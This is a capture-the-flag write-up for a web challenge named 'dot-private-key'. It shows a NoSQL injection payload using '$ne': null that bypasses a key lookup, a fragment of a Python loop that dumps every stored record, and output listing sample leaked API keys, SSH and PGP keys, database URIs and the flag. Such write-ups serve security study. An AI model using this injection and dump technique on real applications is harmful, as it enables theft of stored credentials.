dot-private-key

url: http://ctf.ac.upt.ro:9448

Got a file with some key. Entering a key in the specific key types retrieved a site where i guess the password was leaked.

There are type of keys were not given in the keys file. So i captured a POST request.

```
{
    "key":"eyJhbGci0iJIUzI1NiIsInR5cCI6IkpXVCJ9eyAiaGVsbG8iIDozfQ==",
    "type":"other"
}
```

So i thought about a NoSQL injection to match any key with the type.

```
{
    "key":{
        "$ne":null
    },
    "type":"db"
}
```

And indeed it worked.

Breach Sources: 2

- · Breach source: https://pgadmin.org
- Breach source: http://localhost:3000

Then i used the following script that iteratively excludes seen keys and requests another document until no more are returned.

```
r = requests.post(URL, json=payload, timeout=5)
        try:
            data = r.json()
        except ValueError:
            print("[INFO] Invalid JSON received, stopping iteration")
            break
        breach = data.get("breach")
        if not breach:
            print("[INFO] No more breaches returned")
            break
        key = breach.get("key")
        t = breach.get("type")
        sources = breach.get("sources", [])
        # Skip invalid or non-string types (prototype pollution objects)
        if not isinstance(t, str):
            print(f"[WARN] Skipping invalid type: {t}")
            continue
        # Skip duplicates
        if key in seen_keys:
            continue
        seen_keys.add(key)
        dump.append(breach)
        print(f"[DUMPED] Type={t}, Key={key}, Sources={sources}")
   except Exception as e:
        print(f"[ERROR] {e}")
        break
# Save full dump to a JSON file
with open("breaches_dump.json", "w") as f:
    json.dump(dump, f, indent=2)
print(f"\nDone! Total breaches dumped: {len(dump)}")
print("Saved to breaches_dump.json")
```

Running the script, we get the flag.

```
[x]-[grd@parrot]-[~/Desktop/54L1V4/web/dot-private-key]
   $python3 exploit.py
DUMPED] Type=api, Key=sk_live_51H6fGvJw9Q2x8v3KpL2b, Sources=['https://dashboard.stripe.com', 'https://pas
DUMPED] Type=api, Key=api_12345-ABCDE-67890-FGHIJ, Sources=['https://dev.api.com', 'http://hacker.website
DUMPED] Type=pgp, Key=mQENBFu2rXABCADL1vK3Qw==, Sources=['https://mail.proton.me']
DUMPED] Type=pgp, Key=----BEGIN PGP PRIVATE KEY BLOCK-----
/ersion: GnuPG v2
.., Sources=['https://keyserver.ubuntu.com', 'http://hacker.website']
DUMPED] Type=ssh, Key=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICv1Qw2v3KpL2bJw9Q2x8v3KpL2bJw9Q2x8v3KpL2bJw9Q2x8v3KpL2b, Sourc
DUMPED] Type=ssh, Key=ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7vK3Qw9Q2x8v3KpL2bJw9Q2x8v3KpL2b, Sources=['h
DUMPED] Type=aws, Key=AKIAIOSFODNN7EXAMPLE, Sources=['https://console.aws.amazon.com', 'http://localhost:3
DUMPED] Type=aws, Key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY, Sources=['https://s3.amazonaws.com', 'http
DUMPED] Type=db, Key=postgres://user:pass@localhost:5432/dbname, Sources=['https://pgadmin.org', 'http://l
DUMPED] Type=db, Key=mongodb://admin:secret@mongo:27017/mydb, Sources=['https://cloud.mongodb.com', 'http:
DUMPED] Type=other, Key=eyJhbGci0iJIUzI1NiIsInR5cCI6IkpXVCJ9eyAiaGVsbG8iIDozfQ==, Sources=['https://impkb.
DUMPED] Type=other, Key=supersecretpassword123!, Sources=['https://myapp.com', 'http://hacker.website']
DUMPED] Type=other, Key=ctf{284dc217ce36b9133c561207af3dbf6b8656323d6375f3f5c8c955be0a2aab66}, Sources=[]
DUMPED] Type=api, Key=;, Sources=[]
```